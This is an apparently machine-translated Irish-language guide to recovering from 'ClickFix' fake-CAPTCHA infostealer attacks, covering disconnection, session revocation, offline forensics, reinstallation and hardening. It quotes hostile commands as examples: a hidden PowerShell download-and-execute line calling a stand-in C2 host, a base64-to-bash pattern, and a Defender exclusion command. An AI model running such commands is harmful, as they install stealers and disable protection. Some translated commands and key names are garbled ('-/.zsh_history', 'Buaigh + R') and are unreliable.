An Scam Bréige CAPTCHA ‘ClickFix’: Cén Fáth a Rithfidh Brúigh Win+R agus Ctrl+V Malware Info-Stealer¶

Má chliceáil tú díreach ar chnaipe “Ní róbat mé” nó “Fíoraigh gur duine daonna tú” ar shuíomh Gréasáin (nó má chonaic tú falsa Cloudflare Turnstile, Google Meet, Zoom, nó preabfhuinneog earráid nuashonraithe an bhrabhsálaí) a d’ordaigh duit brúigh Windows + R (nó oscail ** Críochfort macOS**), brúigh Ctrl + V (Cmd + V), agus buailEnter, tá do ríomhaire díreach tar éis pálasta mailíseach beo a chur i gcrích - go coitianta an Lumma Stealer, Vidar, StealC, RedLine, nó Atomic macOS Stealer (AMOS) stealer faisnéise. Ní iarrfaidh aon CAPTCHA dlisteanach, seiceáil Cloudflare, ná uirlis físchomhdhála ar an duine riamh an dialóg Windows Run a oscailt (Win + R), Críochfort Windows, Pras Ordú, nó Críochfort macOS agus greamaigh ordú. Nuair a chliceáil tú an ticbhosca falsa "Fíoraigh" ar an leathanach gréasáin sin, rinne JavaScript mailíseach (navigator.clipboard.writeText()) chóipeáil sé PowerShell i bhfolach go ciúin, mshta.exe, rundll32, nó curl | bash ordú ar do ghearrthaisce. Laistigh de 3 go 6 soicind ón mbrú Enter, d'íoslódáil an script sin inrite i gcuimhne a dhíchriptiú agus a dhíchriptiú gach pasfhocal a shábháil, cárta creidmheasa uathoibríoch, cruinneachán síneadh brabhsálaí cryptocurrency (MetaMask, Phantom, Rabby), comhartha Discord/Telegram, agus ** fianán seisiúin** atá logáilte isteach go gníomhach ó Chrome, Edge, Brave, agus Firefox - rud a ligeann d'ionsaitheoirí do chuntas Gmail, Microsoft 365, bainc agus corparáideacha a ghlacadh gan do phasfhocal nó Fíordheimhniú Dhá Fhachtóir (2FA). Le haghaidh feabhsúchán domhain ar sheisiúin bhrabhsálaí fuadaithe, téigh i gcomhairle freisin fuadach fianán seisiúin, malware infostealer, agus cúlghairm paskey; má fheiceann tú cistí ag bogadh amach as sparán féinchoimeádta cheana féin, léim láithreach chuig draein sparán cryptocurrency agus comhréiteach frása síolta; nó má labhair scammer leat faoi shuiteáil AnyDesk nó ScreenConnect, féach tacaíocht tech scam pop-up agus a bhaint deasc iargúlta. Má tharla an t-ionfhabhtú seo ar stáisiún oibre ospidéil, ar líonra bardasach, nó má tá sracaireacht sábháilteachta beatha i gceist láithreach, cuir glaoch ar d’uimhir éigeandála áitiúil (911 sna Stáit Aontaithe agus i gCeanada, 112 ar fud an Aontais Eorpaigh, 999 sa Ríocht Aontaithe) nó seiceáil ár n-eolaire de uimhreacha éigeandála.

Déan é seo anois¶

1. ** Díphlugáil do chábla Ethernet nó múch Wi-Fi ar an ríomhaire ionfhabhtaithe laistigh de 5 soicind**: Is maith le steallairí faisnéise Lumma Stealer pacáistí bunachair shonraí SQLite do bhrabhsálaí (Login Data, Cookies, Network/Cookies, Web Data) isteach a .zip cartlann i %TEMP% agus é a uaslódáil chuig Ordú-agus-Rialú (C2(RAT), seachfhreastalaí cónaithe SOCKS5, nó lódóir ransomware. Má dhéantar nascacht idirlín a dhearnadh, cuirtear stop le hualaí pálasta tánaisteacha agus le sruthú leanúnach scáileáin/eochairbhuille láithreach.
2. NÁ bain úsáid as an ríomhaire ionfhabhtaithe chun do phasfhocail a athrú - pioc suas fón cliste glan (ar shonraí ceallacha) nó ríomhaire neamh-ionfhabhtaithe faoi láthair: Más eochairlogálaí leanúnach, hijacker gearrthaisce, nó HVNC Tá modúl (Ríomhaireacht Líonra Fíorúil i bhfolach) ag rith i RAM ar an ríomhaire ionfhabhtaithe, ag clóscríobh do phasfhocail nua ar an ríomhaire céanna sin, tugann tú na dintiúir nua díreach ar ais chuig an ionsaitheoir.
3. Ó do ghuthán glan, cliceáil "Sínigh amach as gach gléas / Cúlghairm gach seisiún gníomhach" ar do ríomhphost bunscoile (Gmail / Microsoft 365 / Yahoo), bainisteoir pasfhocail, agus obair SSO (Okta / Entra ID) AN CHÉAD:
4. Cén fáth NACH leor do phasfhocal a athrú: Goideann na steallairí faisnéise d’fhianáin seisiúin fíordheimhnithe gníomhacha (SAPISID, SID, ESTSAUTH, .ROBLOSECURITY, li_at). Ar go leor ardán, fanann fianán seisiúin easpórtáilte bailí ar feadh laethanta nó seachtainí ach amháin má chliceálann tú go sainráite Sínigh amach as gach seisiún / comharthaí a chúlghairm AGUS rothlaigh do phasfhocal.
5. Google / Gmail: Tabhair cuairt myaccount.google.com/device-activity -> roghnaigh gach seisiún deisce -> cliceáil Sínigh amach, ansin athraigh do phasfhocal Google agus iniúchadh Settings -> Forwarding and POP/IMAP le haghaidh rialacha seolta ar aghaidh go ciúin.
6. Microsoft / Outlook / Entra ID: Tabhair cuairt ar mysignins.microsoft.com/security-info -> cliceáil Sínigh amach i ngach áit, ansin athshocraigh do phasfhocal.
7. Má bhí aon síneadh sparán cryptocurrency agat (MetaMask, Phantom, Coinbase Wallet, Trust Wallet, Exodus, Electrum) ar an ríomhaire sin, aslonnaigh gach ciste chuig frása síl úrnua ar ghléas glan láithreach:
8. Lumma Stealer agus AMOS chóipeáil an criptithe Local Extension Settings Comhaid boghta IndexedDB/LevelDB ó Chrome/Brave/Edge go díreach chuig freastalaí an ionsaitheora, áit a ndéanann braislí GPU brú ar do chuid síneadh áitiúil a dhíghlasáil pasfhocal as líne (nó léigh an frása síl go díreach ó RAM má dhíghlasáiltear é). Glac leis go bhfuil gach frása síl agus eochair phríobháideach a stóráiltear ar an ríomhaire sin 100 faoin gcéad i gcontúirt.
9. Roimh an ríomhaire a ghlanadh, coinnigh an t-ordú cruinn a ghreamaigh tú ionas go mbeidh a fhios agat cad a rinneadh:
10. Ar Windows, oscail Notepad (agus é fós as líne) agus brúigh Ctrl + V a ghreamú cibé rud atá fós ina suí i do gearrthaisce, nó brúigh Windows + R agus cliceáil ar an tsaighead anuas chun an ceann is déanaí a úsáideadh a léamh (MRU) Rith stair stóráilte i HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. Glac grianghraf den ordú sin le do ghuthán le haghaidh freagra teagmhais.
11. Déan athshuiteáil córas oibriúcháin glan USB (nó cuimilteán fóiréinseach iomlán as líne) seachas muinín a bheith agat as scanadh tapa frithvíreas: Nua-Aimseartha ClickFix úsáideann ualaí pálasta dhénártaí dlisteanacha sínithe Windows (Living-off-the-Land Binaries nó LOLBins mhaith mshta.exe, powershell.exe, certutil.exe, regsvr32.exe, agus AutoIt3.exe( ) a chuireann isteach i bpróisis dhlisteanacha córais (explorer.exe, svchost.exe) agus go minic cuireann sé eisiaimh le Windows Defender (Add-MpPreference -ExclusionPath).

Crann cinntí: srianadh agus aisghabháil láithreach tar éis ClickFix Win+R nó greamaigh Teirminéil¶

Lean an crann cinntí seo a luaithe a thuigeann tú gur ghreamaigh tú ordú isteach Win + R, Teirminéal Windows, nó Críochfort macOS:

flowchart TD
    Start["CAPTCHA Bréige / Ordú Deisigh Earráid a ghreamú isteach i Win+R, PowerShell, nó Críochfort macOS"] --> Disconnect["CÉIM 1 (0 go 10 Soicind): Bain an breiseán Ethernet & Múch Wi-Fi ar Ríomhaire Ionfhabhtaithe Láithreach"]

    Disconnect --> CryptoCheck{"An Bhfuil Aon Sparán Criptithe ag an Ríomhaire seo (MetaMask, Phantom, Eaxodus, Mórleabhar Beo, Eochracha Sábháilte)?"}

    CryptoCheck -->|"Tá"| EvacCrypto["CÉIM 2 (PRÁINNE): Ar Sparán Fón Glan/Crua-earraí, Gin Frása Síl NUA NUA agus Aistrigh Gach Sócmhainn Amach Láithreach"]
    CryptoCheck -->|"Níl"| CleanDevice["CÉIM 2: Athraigh go Fón Cliste Glan (Sonraí Ceallacha) nó Gléas Gan Ionfhabhtaithe"]

    EvacCrypto --> CleanDevice

    CleanDevice --> RevokeSessions["CÉIM 3: Seisiúin Thaobh an Fhreastalaí a Aisghairm & Rothlaigh na Pasfhocail in Ordú Tosaíochta Dlúth"]

    RevokeSessions --> P1["1. Ríomhphost Príomhúil (Gmail / M365 / Prótón): Maraigh Gach Seisiún Gléas Gníomhach, Athshocraigh Pasfhocal, Seiceáil Rialacha Ar Aghaidh"]
    P1 --> P2["2. Eochracha Oibre / Corparáideach SSO (Okta / Entra ID / VPN / AWS / GitHub / SSH Keys): Fógra a thabhairt do SOC Corparáideach Láithreach Má Logáladh Cuntais Oibre"]
    P2 --> P3["3. Cuntais Airgeadais, Baincéireachta, PayPal, Stripe, Amazon, Gaile, Discord, agus Meáin Shóisialta"]

    P3 --> InspectPayload["CÉIM 4 (As Líne ar PC Ionfhabhtaithe): Seiceáil ID Imeachta Oibriúcháin Chlárlann RunMRU & PowerShell 4104 chun Pála-Ualach a Aithint"]

    InspectPayload --> WipeChoice{"An Críochphointe Corparáideach nó Ríomhaire Pearsanta é seo?"}
    WipeChoice -->|"Corparáideach / BYOD le Rochtain Oibre"| CorpIR["Meaisín Láimhe As Líne go Slándáil TF / SOC le haghaidh Triáis Fhóiréinseach EDR agus Athíomhá BitLocker"]
    WipeChoice -->|"Pearsanta Windows / Mac"| CleanInstall["Cúltaca ach Doiciméid Ghnáth (Uimh .exe/.bat/.dmg) -> Tosaithe Glan USB -> Glan Deighiltí & Athshuiteáil OS"]

Céim 1: Anatamaíocht an ionsaí "ClickFix" - Conas a hijacks leathanach gréasáin Win + R¶

Nuair a thuigtear cad a tharla laistigh de do chóras oibriúcháin le linn na 5 soicind sin mínítear cén fáth a bhfuil comhaid agus cuntais áirithe i mbaol láithreach ach nach bhfuil comhaid eile.

1. Na 3 lures innealtóireachta sóisialta a úsáidtear i bhfeachtais ClickFix¶

Dáileann ionsaitheoirí forleagan ClickFix thar malvertising (torthaí cuardaigh urraithe), láithreáin WordPress i mbaol, tairseacha bogearraí bradacha/sruthaithe, stórtha GitHub falsa, agus ríomhphoist fioscaireachta: 1. An Bosca Bréige Cloudflare / Google reCAPTCHA ("Fíoraigh gur Duine Daonna"): Cliceáil ar an ticbhosca "Ní róbat mé". In ionad ticmharc glas, feictear preabfhuinneog ag léamh: "Braitheadh ​​trácht neamhghnách. Chun a fhíorú gur duine daonna tú, comhlánaigh na 3 chéim seo: 1. Brúigh Windows + R ar do mhéarchlár. 2. Brúigh Ctrl + V. 3. Brúigh Enter." 2. An Cló Bréige Chrome / Edge nó Earráid Nuashonraithe ("Tharla rud éigin mícheart agus an leathanach gréasáin seo á thaispeáint"): Clúdaíonn cúlra doiléir an suíomh Gréasáin le dialóg oifigiúil Chrome a éilíonn go bhfuil teastas fréimhe in easnamh nó nuashonrú cló ag teastáil uait ** Windows PowerShell / Terminal** a oscailt agus an "script fix oifigiúil." 3. An Bréige Zúmáil / Google Meet / Earráid Mhicreafóin nó Ceamara Microsoft: Seolta trí chuirí agallaimh poist bréige nó naisc le cruinnithe cliant, taispeánann an leathanach scáileán físe sníomh agus spreagann úsáideoirí macOS agus Windows ** Críochfort ** a oscailt agus ordú "athshocrú tiománaithe" a ghreamú.

2. Cén fáth ar fhéach an t-ordú neamhdhíobhálach sa Win + R bosca¶

Tá an Windows + R (Run) níl sa bhosca dialóige ach 259 carachtar ar leithead ó thaobh amhairc (MAX_PATH réimse ionchuir Chomhéadain), agus ní thaispeánann sé ach an deireadh de theaghrán greamaithe tar éis do do chúrsóir léim ar dheis. Baineann ionsaitheoirí leas as an teascadh amhairc seo trína n-ordú mailíseach a líonadh le spásanna nó trí nóta bréige a thabhairt chun críche:

powershell.exe -w hidden -nop -c "iex(iwr 'https://malicious-c2.example/payload.txt' -UseBasicParsing)" # Cloudflare Human Verification ID: 849201 - Press Enter to Confirm

3. Go díreach cad Lumma Stealer, StealC, agus AMOS goid i 4 soicind¶

Céim 2: Glasáil Cuntais & Cúlghairm Seisiún (Nóiméid 1 go 30 - Ar Ghléas Glan)¶

Cé go bhfuil an ríomhaire ionfhabhtaithe fós dícheangailte go hiomlán ón Idirlíon, bain úsáid as smartphone glan nó an dara ríomhaire chun an t-ord srianta cruinn seo a chur i gcrích.

Céim 1: Cuir do Chuntais Ríomhphoist faoi ghlas (Gmail, Microsoft 365 / Outlook, Yahoo, Apple iCloud)¶

I gcás gach cuntas ríomhphoist a logáilte isteach in aon phróifíl bhrabhsálaí (Default, Profile 1, Work) ar an ríomhaire sin: 1. Cuir deireadh le gach seisiún gléas gníomhach: - Google / Gmail: Téigh go dtí myaccount.google.com/device-activity -> roghnaigh an gléas ionfhabhtaithe Windows/Mac (agus aon seisiúin neamhaithnidiúla) -> cliceáil Sínigh amach. Tabhair cuairt freisin myaccount.google.com/connections agus aon aipeanna amhrasacha OAuth tríú páirtí a chúlghairm. - Microsoft (Pearsanta & Obair M365): Téigh go account.live.com/proofs/Manage (pearsanta) nó mysignins.microsoft.com/security-info (obair) -> cliceáil Sínigh amach i ngach áit. 2. Athraigh an pasfhocal ríomhphoist go pasfhocal úrnua uathúil atá stóráilte ar do ghléas glan amháin. 3. Rialacha an Bhosca Isteach Iniúchta, Scagairí agus Cur ar Aghaidh Uathoibríoch láithreach: Reáchtálann oibreoirí info-stealer scripteanna uathoibrithe a logáil isteach i bhfianáin Gmail/Outlook a goideadh laistigh de nóiméid den ionfhabhtú agus a chruthaíonn scagaire ceilte: Má tá "Slándáil", "Cód", "Coinbase", "Binance", "Banc", nó "Geal" sa teachtaireacht -> Marcáil mar Léamh, Ar Aghaidh chuig an ionsaitheoir, Bog go dtí an Bruscar/Fothaí RSS. - In Gmail: Oscail amharc deisce -> Settings (gear icon) -> See all settings -> Filters and Blocked Addresses AGUS Forwarding and POP/IMAP. Scrios aon scagaire anaithnid nó seoladh ar aghaidh láithreach. - ** In Outlook / M365**: Oscailte Settings -> Mail -> Rules AGUS Mail -> Forwarding AGUS Mail -> Junk email (seiceáil na seoltóirí blocáilte le cinntiú nár bhac an t-ionsaitheoir no-reply@accounts.google.com nó do bhanc).

Céim 2: Glasáil síos Bainisteoirí Pasfhocal (Bitwarden, 1Password, Dashlane, KeePass, iCloud Keychain)¶

• Ar stóráil tú do phasfhocail taobh istigh de Bhainisteoir Pasfhocal ionsuite Chrome / Edge / Brave? D’easpórtáil an steallaire faisnéise gach pasfhocal a sábháladh in Chrome, Edge, Brave, Opera nó Firefox (mura raibh tacar pasfhocal Príomhúil saincheaptha ag Firefox) i ngnáththéacs. Caithfidh tú caitheamh le 100 faoin gcéad de na pasfhocail atá stóráilte i mbainisteoir pasfhocail ionsuite an bhrabhsálaí mar chontúirt agus iad a athrú ag tosú le cuntais airgeadais, ríomhphoist agus oibre.
• Ar bhain tú úsáid as Bainisteoir Pasfhocal tiomnaithe (1Password, Bitwarden, Proton Pass, Keeper)?
• Má bhí an cruinneachán faoi ghlas faoi láthair a rith tú an t-ordú, tá do cruinneachán criptithe fós faoi chosaint ag do Phríomhfhocal Faire / Eochair Rúnda.
• Má bhí an síneadh cruinneachán díghlasáilte sa chuimhne (nó má chlóscríobh tú do Phríomhfhocal Faire tar éis duit an t-ordú a rith), logáil isteach sa cruinneachán gréasáin bainisteoir pasfhocail ó do ghuthán glan, cliceáil Díúdaraigh gach seisiún (Bitwarden: Settings -> My Account -> Deauthorize Sessions), rothlaigh do Phríomhfhocal Faire, agus cuir in ord tosaíochta do dhintiúir ardluacha rothlach taobh istigh den chruinneachán.

Céim 3: Comharthaí Forbróra, Corparáideacha agus Comhrá a chúlghairm (GitHub, AWS, Discord, Telegram, Steam)¶

• Discord: Má athraítear do phasfhocal Discord , déantar do sheanchomhartha fíordheimhnithe a neamhbhailíochtú go huathoibríoch (leveldb comhartha). Athraigh do phasfhocal Discord láithreach ó do ghuthán, seiceáil Settings -> Devices -> Logáil amach gach gléas atá ar eolas, agus seiceáil Settings -> Authorized Apps agus Settings -> Billing (bain cártaí creidmheasa sábháilte/PayPal).
• Teileagram: Ar do ghuthán, oscail Telegram -> Settings -> Devices -> tapáil Foirceann Gach Seisiún Eile láithreach (maraíonn sé seo aon duine a goideadh tdata clón fillteán deisce).
• ** Gaile **: Ar do ghuthán, oscail an aip Gaile -> Steam Guard (shield icon) -> Gear icon -> Deauthorize all devices, athraigh do phasfhocal, agus seiceáil nár cláraíodh Eochair API ag steamcommunity.com/dev/apikey (cláraíonn scammers eochair bradacha Steam Web API chun tairiscintí trádála a fhuadach).
• GitHub / GitLab / AWS / SSH: Más innealtóir bogearraí nó sysadmin tú, tabhair cuairt ar github.com/settings/sessions (seisiúin bhrabhsálaí a chúlghairm), github.com/settings/keys (scrios eochracha SSH atá stóráilte ar an ríomhaire sin), github.com/settings/tokens (Cúlghairm Comharthaí Rochtana Pearsanta), agus rothlaigh aon cheann -/.aws/credentials Eochracha IAM i gconsól AWS IAM láithreach. Féach ar ár dtreoir tiomnaithe ar comhréiteach slabhra soláthair npm/PyPI agus rothlú eochair stáisiún oibre an fhorbróra.

Céim 3: Cigireacht Fhóiréinseach As Líne - Ag fáil amach céard go díreach a bhí ar siúl ar do ríomhaire¶

Sula scriosann tú agus sula n-athshuiteálann tú an ríomhaire ionfhabhtaithe (nó agus tú ag ullmhú tuairisce do d'fhoireann slándála corparáidí), is féidir leat a iniúchadh go sábháilte ClickFix rinne an t-ordú agus an meaisín á choinneáil 100% as líne (Wi-Fi as, Ethernet unplugged).

1. Windows a iniúchadh Win + R Logchomhaid Stair agus PowerShell¶

1. Seiceáil Rith Windows (Win + R) Clárlann MRU (Most Recently Used) liosta: Oscail regedit.exe nó fuinneog PowerShell as líne agus rith:

   Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
   

   Gach ordú a chlóscríobh nó a ghreamú riamh isteach Win + R a shábháil anseo faoi airíonna a, b, c, etc. Féach ar an ordú a taifeadadh ag an litir a thaispeántar ar dtús i MRUList.
2. ** Seiceáil Loga Imeachta Logála Bloc Script PowerShell (ID Imeachta 4104): Fiú má úsáidtear an ionsaitheoir -WindowStyle Hidden (-w h) agus ionchódú Base64 (-EncodedCommand / -e), déanann Windows scripteanna PowerShell amhrasacha a dhíchódú agus a logáil go huathoibríoch in ** Amharcóir Imeachtaí:
3. Brúigh Win + X -> Amharcóir Imeachtaí -> nascleanúint chuig Applications and Services Logs -> Microsoft -> Windows -> PowerShell -> Operational.
4. Scagaire le haghaidh ID Imeachta 4104 (Execute a Remote Command). Feicfidh tú an script PowerShell cruinn díobfuscated, an URL a d'íoslódáil sé, agus an fillteán ann %TEMP%, %AppData%, nó %LocalAppData% áit ar thit sé a phálasta tánaisteach.
5. Seiceáil cá háit ar suiteáladh buanseasmhacht ar Windows: Stealers faisnéise agus a gcuid scripteanna lódóra (NetSupport Manager RAT, Amadey, SectopRAT, AsyncRAT) marthanacht atosaigh a bhunú i gceithre áit:

   # 1. Registry Run / RunOnce keys:
   Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
   Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
   
   # 2. Startup Folder shortcuts (.lnk / .vbs / .bat):
   Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -Force
   
   # 3. Recently created Scheduled Tasks:
   Get-ScheduledTask | Where-Object {$_.Author -ne "Microsoft Corporation"} | Select-Object TaskName, TaskPath, State
   
   # 4. Windows Defender Exclusions added by the malware:
   Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
   Get-MpPreference | Select-Object -ExpandProperty ExclusionProcess
   

   (Má fheiceann tú C:\, C:\Users, %AppData%, nó .exe curtha faoi ExclusionPath nó ExclusionProcess, chuir an malware dall ar Microsoft Defender ar do ríomhaire.)

2. MacOS a iniúchadh tar éis ClickFix Críochfort (Atomic macOS Stealer / AMOS nó Poseidon)¶

Ar macOS, insíonn leathanaigh ClickFix don úsáideoir ** Críochfort (Cmd + Space -> Terminal)** agus greamaigh ordú base64-ionchódaithe mar echo "..." | base64 -d | bash. 1. Agus tú as líne, seiceáil do stair bhlaosc (cat -/.zsh_history | tail -n 30 nó cat -/.bash_history). 2. Seiceáil ar shuiteáil an malware cúlra leanúnach LaunchAgent:

ls -la ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons

Céim 4: Feabhsúchán Glan - Cén fáth ar chóir duit glanadh agus athshuiteáil (nó tarrtháil as líne a rith)¶

Gníomhaireachtaí slándála (CISA, FBI, NCSC) moltar go láidir ** an córas oibriúcháin a ghlanadh agus a athshuiteáil ó thiomántán USB glan** tar éis steallaire faisnéise nó LOLBin a fhorghníomhú, toisc go n-insíonn lódóirí blaoscchóid isteach i ndénártaí córais dhlisteanacha go minic, suiteáileann siad rootkit/tiománaithe seachfhreastalaí, nó fágann siad cúldoirse díomhaoin (NetSupport RAT / Cobalt Strike).

Céim ar chéim Athshuiteáil Glan & Cúltaca Comhad Sábháilte¶

1. Cé go bhfuil an ríomhaire ionfhabhtaithe fós as líne, cúltacaigh ACH comhaid sonraí íona: Cóipeáil doiciméid phearsanta, grianghraif, scarbhileoga agus cód foinse amháin (.pdf, .jpg, .docx, .xlsx, .mp4, .txt) isteach ar thiomántán USB seachtrach. ** Ná cúltacaigh riamh .exe, .msi, .bat, .ps1, .vbs, .js, .lnk, .dmg, .pkg, nó brabhsálaí User Data fillteáin phróifíle.**
2. **Ar an DARA ríomhaire, glan **, cruthaigh USB Cruthaithe Meán Windows 11 bootable (microsoft.com/software-download/windows11) nó timpeallacht Aisghabháil macOS.
3. Tosaithe ón suiteálaí USB glan, scrios na deighiltí go léir atá ann cheana féin ar an tosaithe SSD (mar sin déantar Deighilt an Chórais EFI, MSR, agus críochdheighilt OS bunscoile a chruthú as an nua), agus cóip ghlan den chóras oibriúcháin a shuiteáil.
4. Mura bhfuil tú in ann an meaisín a ghlanadh láithreach:
5. Bain gach eisiamh gCosantóirí (Remove-MpPreference -ExclusionPath ...).
6. Tosaigh i Mód Sábháilte Windows le Líonrú díchumasaithe (nó tosaithe ó Diosca Tarrthála Kaspersky / ESET SysRescue Live USB), agus rith scananna iomlána as líne ag úsáid Microsoft Defender Offline (Start-MpWDOScan), Malwarebytes, agus ESET Online Scanner, mar aon le cigireacht a dhéanamh ar gach iontráil in Sysinternals Autoruns (autoruns64.exe) le Folaigh Iontrálacha Microsoft gan seiceáil.

Céim 5: Windows agus macOS a chruasú ionas nach féidir le ClickFix tarlú arís¶

• Folaigh nó díchumasaigh an Windows + R (Run) dialóg do bhaill teaghlaigh neamhtheicniúla nó d’úsáideoirí caighdeánacha corparáideacha trí Bheartas/Clárlann an Ghrúpa: Socrú NoRun = 1 (DWORD) faoi HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer go hiomlán díchumasaigh an Windows + R aicearra méarchláir. Toisc go bhfuil 95 faoin gcéad d'ionsaithe ClickFix ag brath ar bhrú an úsáideora Win + R, díchumasaigh an dialóg Rith stopann an fuar ionsaí sula bhféadfaidh úsáideoir rud ar bith a ghreamú.
• Athraigh comhlachas réamhshocraithe an chomhaid le haghaidh .hta, .vbs, .js, agus .wsf scripteanna chuig notepad.exe: ag díchumasú mshta.exe agus wscript.exe trí Laghdú Dromchla ionsaí Windows (ASR) rialacha nó comhlachas .hta/.vbs/.js le Notepad cosc ​​ar fhorghníomhú script.
• ** Uasghrádaigh cuntais chriticiúla chuig Pasfhocail atá Ceangailte le Crua-earraí (FIDO2 / WebAuthn Eochracha Slándála mar YubiKey)**: Cé gur féidir le steallairí faisnéise fianáin seisiúin a ghoid ó bhrabhsálaí tar éis logáil isteach, eochracha slándála crua-earraí (FIDO2) le saolréanna gearra seisiúin agus Measúnú Rochtana Leanúnaí (CAE / Dintiúir Seisiúin faoi cheangal Gléas DBSC(b) cosc a chur ar ionsaitheoirí bundhintiúir a athfhíordheimhniú nó a onnmhairiú.
• Suiteáil fógra brabhsálaí agus seachfhreastalaí míthreorach (uBlock Origin / uBlock Origin Lite) agus Brabhsáil Sábháilte Feabhsaithe a chumasú: Eascraíonn breis agus 60 faoin gcéad d’ionfhabhtuithe ClickFix ó fhógraí cuardaigh mailíseacha Google/Bing a dhéanann aithris ar bhogearraí dlisteanacha (Slack, Notion, OBS, Homebrew, WinSCP, TradingView) nó suíomhanna sruthú.

Uimhreacha éigeandála réigiúnacha agus prótacail ghníomhaireachtaí¶

Más ClickFix / Lumma Stealer dintiúir chorparáideacha atá i mbaol ionfhabhtaithe, córais cúram sláinte, cuntais airgeadais, nó líonraí rialtais, tuairiscigh an teagmhas láithreach trí bhealaí oifigiúla:

• Stáit Aontaithe Mheiriceá agus Ceanada:
• Sábháilteacht Saoil Éigeandála / Bonneagar Criticiúil: Diailigh 911 má chuireann ionfhabhtú isteach ar chórais chliniciúla ospidéil nó ar oibríochtaí sábháilteachta poiblí.
• Ionad Gearán Coireachta Idirlín an FBI (IC3) (US): Comhdaigh tuairisc láithreach ag ic3.gov (go háirithe má d'eascair cryptocurrency, sreanga bainc, nó Comhréiteach Ríomhphost Gnó corparáideach ó na fianáin seisiúin a goideadh).
• Gníomhaireacht Chibearshlándála agus Infrastruchtúir (CISA) (US): Ba cheart d’eagraíochtaí fiontair agus bonneagair chriticiúil sáruithe infostealer a thuairisciú do 1-844-Say-CISA (1-844-729-2472) nó cisa.gov/report.
• Ionad Frith-Chalaoise Cheanada (CAFC) & Cibearionad: Glaoigh 1-888-495-8501 nó tuairisc a thabhairt ag cyber.gc.ca.
• An Ríocht Aontaithe:
• Seirbhísí Éigeandála: Diailigh 999 (nó 101 do phóilíní neamhéigeandála).
• Calaois Gníomhaíochta & NCSC: Tuairiscigh cibearchoireacht agus cistí goidte chuig Action Calaoise (0300 123 2040 / actionfraud.police.uk). Dá ndéanfaí sonraí nó dintiúirí corparáideacha custaiméirí a eas-scagadh, déan measúnú ar fhógra éigeantach 72 uair an chloig UK GDPR don EIT (0303 123 1113).
• An tAontas Eorpach:
• Seirbhísí Éigeandála: Diailigh 112 ar fud bhallstáit uile an AE.
• Airteagal 33 GDPR & NIS2 CSIRT Reporting: Mar gheall Lumma Stealer exfiltrates gach brabhsálaí Login Data, Cookies, agus taisceanna uathlíonta, aon ríomhaire glúine corpraithe ionfhabhtaithe a raibh sonraí pearsanta an fhostaí nó an chustaiméara ina seilbh ina sárú sonraí rúndachta daingnithe, a éilíonn measúnú 72 uair an chloig a chur in iúl don Údarás Náisiúnta um Chosaint Sonraí (DPA).
• An Astráil agus an Nua-Shéalainn:
• Seirbhísí Éigeandála: Diailigh 000 san Astráil nó 111 sa Nua-Shéalainn.
• Ionad Cibearshlándála na hAstráile (ACSC / TuairiscCyber): Glaoigh 1300 CYBER1 (1300 292 371) nó comhad ag cyber.gov.au (agus déan teagmháil le IDCARE ag 1800 595 160 le haghaidh aisghabháil aitheantais). Sa Nua-Shéalainn, tuairiscigh chuig CERT NZ (0800 237 869).
• An India agus an Áise-Aigéan Ciúin:
• Líne Chabhrach Chibearchoireachta Náisiúnta na hIndia & CERT-In: Glaoigh 1930 láithreach má tharla calaois airgeadais, comhdaigh ag cybercrime.gov.in, agus sáruithe eagraíochtúla a thuairisciú do CERT-In (incident@cert-in.org.in) laistigh de 6 huaire.

Ceisteanna coitianta¶

d'oscail mé Win + R agus brúite Ctrl + V, mar sin bhí an téacs le feiceáil sa bhosca, ach thuig mé go raibh cuma shady air agus chliceáil "Cealaigh" GAN bhrú Enter. An bhfuil mé ionfhabhtaithe?¶

Níl, tá tú go hiomlán sábháilte. Is féidir le leathanach gréasáin brabhsálaí téacs a chóipeáil isteach i do ghearrthaisce le JavaScript (Navigator.gearrthaisce.writeText), agus brú Buaigh + R ina dhiaidh sin Ctrl+V ní dhéanann ach an teaghrán téacs sin a ghreamú isteach sa bhosca ionchuir Windows Run. Ní fheidhmíonn aon rud go dtí go brúigh tú Cuir isteach nó cliceáil ceart go leor. Má chliceáil tú Cealaigh nó dhún an Rith bosca gan brú Cuir isteach, níor seoladh aon ordú. Níl ort ach do ghearrthaisce a ghlanadh trí fhocal neamhdhíobhálach a chóipeáil mar dia duit i Notepad agus dún an cluaisín brabhsálaí mailíseach.

Cén fáth nár chuir Windows Defender nó mo antivirus bac ar an ordú nuair a ghreamaigh mé isteach é Win + R?¶

Toisc go bhfuil tú - an t-úsáideoir logáilte isteach daonna - brúite go fisiciúil Buaigh + R agus buail Cuir isteach, Déileálann Windows leis an ordú mar ghníomh riaracháin d'aon ghnó a seoladh ó taiscéalaí.exe seachas comhad neamhiontaofa a íoslódáiltear ón idirlíon (a mbeadh Marc an Ghréasáin air de ghnáth Crios.Aitheantóir tag). Ina theannta sin, úsáideann slabhraí ClickFix dénártha ionsuite sínithe Microsoft (mshta.exe, powershell.exe, conhost.exe, nó ateangairí tríú páirtí sínithe mar AutoIt3.exe) an pálasta a bhailiú agus a dhíchriptiú go díreach i RAM, agus é á fhorghníomhú go minic Add-MpPreference -ExclusionPath "C:\" sa chéad milleasoicind roimh aon chomhad malware inaitheanta a scríobh chuig diosca.

An ghoideann steallóir comhaid as gach cuntas úsáideora ar mo ríomhaire, nó as mo phróifíl logáilte isteach amháin (Default vs. Profile 1, Profile 2)?¶

Info-stealers scanadh gach fillteán próifíle brabhsálaí taobh istigh de do chuntas úsáideora Windows (%LocalAppData%\Google\Chrome\Sonraí Úsáideora\Réamhshocrú, Próifíl 1, Próifíl 2, etc., ar fud Chrome, Edge, Brave, Opera, agus Firefox), fiú mura raibh fuinneog oscailte ag na próifílí brabhsálaí tánaisteacha sin ag an am. Ciallaíonn sé sin má choinníonn tú próifíl Chrome “Obair” ar leith agus próifíl Chrome “Pearsanta” faoin logáil isteach Windows céanna, Goideadh pasfhocail shábháilte agus fianáin seisiúin an dá phróifíl ag an am céanna.

Cad a tharlóidh má bhí Paskey á úsáid agam ar mo chuntas Google nó Microsoft - ar ghoid an steallaire faisnéise mo Phaskey?¶

